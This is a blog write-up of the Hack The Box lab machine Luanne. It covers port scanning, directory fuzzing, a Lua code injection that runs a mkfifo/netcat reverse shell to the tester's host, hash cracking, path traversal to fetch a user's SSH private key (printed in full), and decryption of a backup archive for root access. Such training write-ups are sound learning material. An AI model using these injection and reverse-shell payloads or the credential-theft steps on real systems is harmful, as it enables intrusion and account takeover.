Hack The Box Write-Up Luanne - 10.10.10.218
Post
Cancel

# Hack The Box Write-Up Luanne - 10.10.10.218

Rest satisfied with doing well, and leave others to talk of you as they will.

Pythagoras

In this post, I’m writing a write-up for the machine Luanne from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Luanne is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Author Notes

This is the first box for 2021, so all the best wishes for 2021! In the month of December 2020, I had no time for Hack The Box machines. I was participating in an Advent of CTF competition, you can read the write-up from the Advent of CTF competition here.

Foothold

After the port scan, we can discover three open ports. The first port is 22/tcp (SSH), the second port is 80/tcp and the last one is 9001/tcp. We started the enumeration on the HTTP-port and visited the website, there is directly an authentication box visible and the enumeration stops here for now. After reading the robots.txt, we can found the /weather directory and through fuzzing with ffuf, we have found the /weather/forecast directory. After playing with the web application, we managed to do a lua code injection to do Remote Code Execution (RCE) for establishing a reverse shell to our machine.

User

After walking through the files we have found a password hash, and after cracking this hash, we are able to do some authentication against the web application through 3000/tcp on the local machine. Through this port with curl we have managed to read the id_rsa file from the user account r.michaels. After establishing an SSH-session as r.michaels we are able to grab the user flag.

Root

From the home directory, we are able to read an encrypted archive. With netpgp we can decrypt this archive and read a password hash from the contents. After decrypting this hash we are left with the root password. Through the sudo alternative doas we are able to read the root flag.

# Machine Info

 Machine Name: Luanne Difficulty: Easy Points: 20 Release Date: 28 Nov 2020 IP: 10.10.10.218 Creator: polarbearer

# Recon

## Port scan with Nmap

As always we start this machine with enumerating the open ports.

1 ~$nmap -sC -sV -oA ./nmap/10.10.10.218 10.10.10.218  The results of the port scan. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Starting Nmap 7.90SVN ( https://nmap.org ) at 2021-01-09 14:47 CET Nmap scan report for 10.10.10.218 Host is up (0.039s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 116.58 seconds  We got three open ports. The first port is 22/tcp (SSH). It’s running OpenSSH 8.0. The second port is the default HTTP port 80/tcp. What we can notice is that there is a robots.txt file present, which has on disallowed entry /weather. The third port is 9001/tcp. This port is quite interesting, there is running a Supervisor Process Manager service behind this port. I already know that back in April 2020, there was a vulnerability found in version 1.12. Supervisor is a process control system developed by python, a tool for managing background services, similar to the Systemd program that comes with Linux. # Enumeration ## Enumeration Web Server Let’s explore the gates from top to bottom to see what we can find and if we can find a foothold to the network. We skip the SSH port. We visited this URL http://10.10.10.218. At this moment we do not have any credentials. I’ve tried some default credentials, like username admin and password admin and so forth, but nothing happens. No extra error messages or something. From the port scan, we know that there is a robots.txt file present, with information. Let’s read the contents of this file. 1 2 3 ~$ curl http://10.10.10.218/robots.txt User-agent: * Disallow: /weather #returning 404 but still harvesting cities 

A request with curl is indeed resulting in an HTTP 404 error.

1 2 3 4 5 6 7 8 curl http://10.10.10.218/weather <html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.19.0</center> </body> </html> 

What is the comment but still harvesting cities meaning? Let’s start the directory brute-forcer ffuf.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ~$ffuf -c -w ../../wordlists/dirbuster/directory-list-2.3-big.txt -u http://10.10.10.218/weather/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git ________________________________________________ :: Method : GET :: URL : http://10.10.10.218/weather/FUZZ :: Wordlist : FUZZ: ../../wordlists/dirbuster/directory-list-2.3-big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ forecast [Status: 200, Size: 90, Words: 12, Lines: 2] :: Progress: [52254/1273833] :: Job [1/1] :: 383 req/sec :: Duration: [0:03:46] :: Errors: 0 ::  After testing some rounds, we got hold of the wordlist directory-list-2.3-big.txt. # Intrusion ## Remote Code Execution (RCE) Let’s give the founded directory /forecast to curl. 1 2 ~$ curl http://10.10.10.218/weather/forecast {"code": 200, "message": "No city specified. Use 'city=list' to list available cities."} 

This is an interesting message. We need to define a city to get more information. Let’s use Burp Suite from this point and try to find out if we can get some information from this machine. After trying some payloads, with this payload we see an error message as the response.

1 2 3 4 5 6 7 8 9 10 GET /weather/forecast?city=list HTTP/1.1 Host: 10.10.10.218 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 11 

The response contains several names of cities.

1 2 3 4 5 6 7 HTTP/1.1 200 Ok Server: nginx/1.19.0 Date: Sat, 09 Jan 2021 15:02:18 GMT Content-Type: application/json Connection: close Content-Length: 173 {"code": 200,"cities":["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]} 

By modifying the request by replacing the word list for one of the cities, we can get the weather forecast. We have checked all of the cities, and none of them is giving interesting information back, we only get a weather forecast back. Let’s try to replace the name of the city with a single quote ('). The full request will be GET /weather/forecast?city=list HTTP/1.1. We are getting back an error message.

1 2 3 4 5 6 7 8 HTTP/1.1 500 Error Server: nginx/1.19.0 Date: Sat, 09 Jan 2021 15:13:30 GMT Content-Type: application/json Connection: close Content-Length: 77 Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value 

This error message is very interesting and makes the web application vulnerable to Remote Code Execution (RCE). The value of the parameter city is being passed to the file weather.lua, and then this file is being executed. If we can find a way to break out of this script, which can lead to RCE.

After some time of development, we have this payload for the reverse shell.

1 http://10.10.10.218/weather/forecast=city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f") 

After trying this payload through Burp Suite, the payload needs some modifications and after developing it further we got a working payload. It has taken me some time to figure out why the payload wasn’t working in the first place. After replacing the spaces with %20 and the &1 character for %261. But last not least, I have to add two dashes to the end of the payload --. This is known from an SQL injection, that everything that comes after it can be seen as a comment. The rest of the script is therefore not executed. With my reverse shell listener the connection comes in and we have a shell on this machine after a successful code injection.

1 2 3 4 5 6 7 8 9 GET /weather/forecast?city=London');os.execute("rm%20/tmp/f;mkfifo%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.7%204444%20>/tmp/f")-- HTTP/1.1 Host: 10.10.10.218 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 

## Reverse shell as _httpd

We have a reverse shell as the user _httpd. Let’s enumerate from this point and find information for our next step.

1 2 3 4 5 Listening on any address 4444 (krb524) Connection from 10.10.10.218:65364 sh: can't access tty; job control turned off $whoami _httpd  There is the home directory visible for the user account /home/r.michaels. We do not have permission to access this account, from our current user account. We also do not have the privileges to download linpeas.sh to the machine. This means we have to do the enumeration manually. Let’s first find out what we have in our current working directory /var/www. We got luck! There is a file /var/www/.htpasswd here, and it contains a username and password. 1 2 3 4$ pwd /var/www $cat .htpasswd webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 

After cracking this md5crypt hash with john, we got this password: iamthebest. Tried to use these credentials to switch to the user account r.michaels, but that’s not working. On further enumeration, I found that this box is also listening on port 3000/tcp and 3001/tcp.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $netstat -ano Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.218.65335 10.10.14.7.4444 ESTABLISHED tcp 0 0 127.0.0.1.3000 127.0.0.1.65336 ESTABLISHED tcp 0 0 127.0.0.1.65336 127.0.0.1.3000 ESTABLISHED tcp 0 0 10.10.10.218.80 10.10.14.7.51264 ESTABLISHED tcp 0 0 10.10.10.218.65340 10.10.14.7.4444 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 127.0.0.1.65341 CLOSE_WAIT tcp 0 0 10.10.10.218.65350 10.10.14.7.4444 ESTABLISHED tcp 0 0 127.0.0.1.3000 127.0.0.1.65351 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 127.0.0.1.65361 CLOSE_WAIT tcp 0 0 10.10.10.218.65364 10.10.14.7.4444 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 127.0.0.1.65365 CLOSE_WAIT tcp 0 0 10.10.10.218.65376 10.10.14.7.4444 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 127.0.0.1.65377 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 *.* LISTEN tcp 0 0 127.0.0.1.3001 *.* LISTEN  With curl I can authenticate on both of the ports with the curl command below. 1 ~$ curl localhost:<port> --user webapi_user:iamthebest 

I get the same response back as the website has given em after the authentication.

## SSH access as r.michaels

After trying some time, I came to mind to get the Private Key for SSH from the user account r.michaels. After some developing on the payload, I’ve grabbed the private key.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ~$curl localhost:3001/../../../~r.michaels/id_rsa --user webapi_user:iamthebest % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----  I’ve placed this key in the file id_rsa, and started an SSH session as the user r.michaels and I’ve directly grabbed the flag. 1 2 3 4 5 6 7 8 9 10 11 12 ~$ chmod 600 id_rsa ~$ssh -i id_rsa [email protected] Last login: Fri Sep 18 07:06:51 2020 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 Welcome to NetBSD! luanne$ cat user.txt ea5f0ce6a917b0be1eabc7f9218febc0 luanne$ # Privilege Escalation ## Enumeration Let’s start with enumerating to gain root privileges on this machine. In the home directory of the user account, r.michaels there is an encrypted gunzip file /backups/devel_backup-2020-09-16.tar.gz.enc. Let’s download this file to my machine. 1 2 ~$ scp -i id_rsa [email protected]:/home/r.michaels/backups devel_backup-2020-09-16.tar.gz.enc 100% 1970 43.0KB/s 00:00 

We need to find a way to read the contents of this encrypted archive. I tried to decrypt this archive on my local machine but it’s not gonna work, there is a key or password needed for decryption, which we do not have at this moment. Maybe the encryption key is still in memory of the machine or somewhere else?

After some searching and asking around, we got the information about netpgp. This is a NetBSD project for encrypting and decrypting files. This program is on this machine.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 luanne$which netpgp /usr/bin/netpgp luanne$ netpgp NetPGP portable 3.99.17/[20101103] All bug reports, praise and chocolate, please, to: Alistair Crooks <[email protected]> c0596823 Usage: netpgp COMMAND OPTIONS: netpgp --help OR --encrypt [--output=file] [options] files... OR --decrypt [--output=file] [options] files... OR --sign [--armor] [--detach] [--hash=alg] [--output=file] [options] files... OR --verify [options] files... OR --cat [--output=file] [options] files... OR --clearsign [--output=file] [options] files... OR --list-packets [options] OR --version where options are: [--cipher=<ciphername>] AND/OR [--coredumps] AND/OR [--homedir=<homedir>] AND/OR [--keyring=<keyring>] AND/OR [--numtries=<attempts>] AND/OR [--userid=<userid>] AND/OR [--maxmemalloc=<number of bytes>] AND/OR [--verbose] 

## Decrypting archive file

Let’s give it a try to decrypt the archive. After some trying, we managed to decrypt the archive with the command below. First, we’ve tried to put the decrypted file in the same directory as the encrypted file, but we do not have the privileges to write files in the current directory.

1 2 3 4 luanne$netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a uid RSA 2048-bit key <[email protected]>  Well, as we can see, we have permission denied on the file devel_backup-2020-09-16.tar.gz.enc.gpg. NetBSD does not support sudo. We need to find the equivalent for this distribution. The next step is downloading this archive to our machine and read the contents. 1 2 3 4 5 6 7 8 9 ~$ scp -i id_rsa [email protected]:/tmp/devel_backup-2020-09-16.tar.gz . devel_backup-2020-09-16.tar.gz 100% 1639 36.9KB/s 00:00 ~$sudo tar -xvf devel_backup-2020-09-16.tar.gz x devel-2020-09-16/ x devel-2020-09-16/www/ x devel-2020-09-16/webapi/ x devel-2020-09-16/webapi/weather.lua x devel-2020-09-16/www/index.html x devel-2020-09-16/www/.htpasswd  Let’s check the file contents. In the .htpasswd we can find again a hash. After cracking this hash with john we got left with the password: littlebear. 1 2 3 4 5 ~$ cd ../www/ ~$ls .htpasswd index.html ~$ cat .htpasswd webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.  ## own Luanne We have now a password. We can check if we can jump to a privileges user account like root with this password. As this NetBSD installation doesn’t have sudo, we can use the alternative doas to read the root flag with the founded password. 1 2 3 luanne$ doas -u root cat root.txt Password: 7a9b5c206e8e8ba09bb99bd113675f66 

And, we have rooted our first box in 2021! It was a CTF-like machine. It was full of rabbit holes, but unlike many others, we were not jumped into any rabbit holes this time. First, I thought that we have to do something with the Supervisor Process Manager, but in the end, we have even not touched that piece of software.

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)